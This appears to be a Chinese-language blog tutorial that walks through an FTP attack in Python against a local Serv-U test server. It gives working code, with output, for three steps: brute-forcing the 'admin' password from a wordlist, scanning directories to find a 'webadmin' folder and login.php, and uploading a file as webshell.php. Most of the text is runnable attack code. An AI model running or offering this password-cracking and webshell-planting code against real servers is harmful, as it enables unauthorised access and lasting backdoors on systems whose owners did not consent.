使用来自ftplib包的FTP模块,就可以轻松暴力输入FTP密码,进行破解,下面为了方便演示,使用用户名为admin来测试
网上一时没有找到可以使用的FTP站点,所以自己搭建一个FTP服务器测试下,官网:下载Serv-U
from ftplib import FTP
ftpaddr='127.0.0.1'
uname='admin'
def getPwd(upwd):
try:
ftp=FTP(ftpaddr)
ftp.login(uname,upwd)
print('正确密码为:{0}'.format(upwd))
return True
except Exception:
return False
pwdlist=open('pwds.txt','r')
pwds=pwdlist.readlines()
for pwd in pwds:
print("密码输入为:{0}".format(pwd))
pwd=pwd.strip()
if(getPwd(pwd)):
break
pwdlist.close()
密码输入为:admin
密码输入为:admin123
正确密码为:admin123
最开始的时候使用的FTP地址为ftp://127.0.0.1,总是报错,后来发现不需要加,直接就是地址即可,127.0.0.1即可,不然将出现下面这样的异常错误:
Traceback (most recent call last):
File "C:\Python27\1.py", line 27, in <module>
ftp=FTP(ftpaddr)
File "C:\Python27\lib\ftplib.py", line 120, in __init__
self.connect(host)
File "C:\Python27\lib\ftplib.py", line 135, in connect
self.sock = socket.create_connection((self.host, self.port),
self.timeout)
File "C:\Python27\lib\socket.py", line 557, in create_connection
for res in getaddrinfo(host, port, 0, SOCK_STREAM):
gaierror: [Errno 11001] getaddrinfo failed
ftp目录和文件的一些操作
# encoding:utf-8
from ftplib import FTP
ftp=FTP('127.0.0.1','admin','admin123')
#print(ftp.getwelcome()) #220 Serv-U FTP Server v15.1 ready...
#ftp.retrlines('LIST') #列出目录和文件的详细信息
def getSubDir(self, *args):
cmd = 'LIST'
func = None
if args[-1:] and type(args[-1]) != type(''):
args, func = args[:-1], args[-1]
for arg in args:
cmd = cmd + (' ' + arg)
files = []
ftp.retrlines(cmd, files.append)
return files
#获取目录列表
def getDirs(dirname=None):
if dirname != None:
ftp.cwd(dirname)
files = getSubDir('')
#详细信息都去掉,只截取目录和文件的名称
fname = [f.split(" ")[-1] for f in files]
#去掉.和..以及文件,这样就只剩下目录了
return [f for f in fname if '.' not in f]
#获取文件列表
def getFiles(dirname=None):
if dirname != None:
ftp.cwd(dirname)
return ftp.nlst()
#找到webadmin目录的位置(这里测试两层目录)
def findDir(dir1,dir2):
if(dir1.lower().find('webadmin')>=0):
print('位置为:{0}'.format(dir1))
if(dir2.lower().find('webadmin')>=0):
print('位置为:{0}'.format(dir1 + '/' + dir2))
dirList1=getDirs('')
for d1 in dirList1:
print(d1)
findDir(d1,'')
ftp.cwd('..')
dirList2=getDirs(d1)
for d2 in dirList2:
print(' '+d2)
findDir(d1,d2)
#找到login.php所在的位置
def findFile(dirname,fname):
if(fname.lower().find('login.php')>=0):
print('文件所在目录为:{}'.format(dirname))
dirlist1=getDirs('')
for d1 in dirlist1:
print(d1)
ftp.cwd('~') #跳转到根目录
for f1 in getFiles(d1):
f1=f1.decode('utf-8')
findFile(d1,f1)
ftp.cwd('..') #跳转到上级目录
dirlist2=getDirs(d1)
for d2 in dirlist2:
print(' '+d2)
ftp.cwd('~') #跳转到根目录
for f2 in getFiles(d1+'/'+d2):
f2=f2.decode('utf-8')
findFile(d1+'/'+d2,f2)
BBBBB
nnnnnnnn
ccccc
hjjhjh
Serv-U
12345
Crack
新建文件夹
wwww
webadmin
位置为:wwww/webadmin
BBBBB
nnnnnnnn
ccccc
hjjhjh
Serv-U
12345
Crack
新建文件夹
wwww
webadmin
文件所在目录为:wwww/webadmin
上传webshell
ftp=FTP('127.0.0.1','admin','admin123')
fp=open('D:/Serv-U/wwww/webadmin/1.txt','rb')
ftp.cwd("wwww/webadmin")
ftp.storbinary("STOR webshell.php",fp)
print('成功将1.txt文件内容写入到webshell.php文件里')
fp.close()
ftp.quit()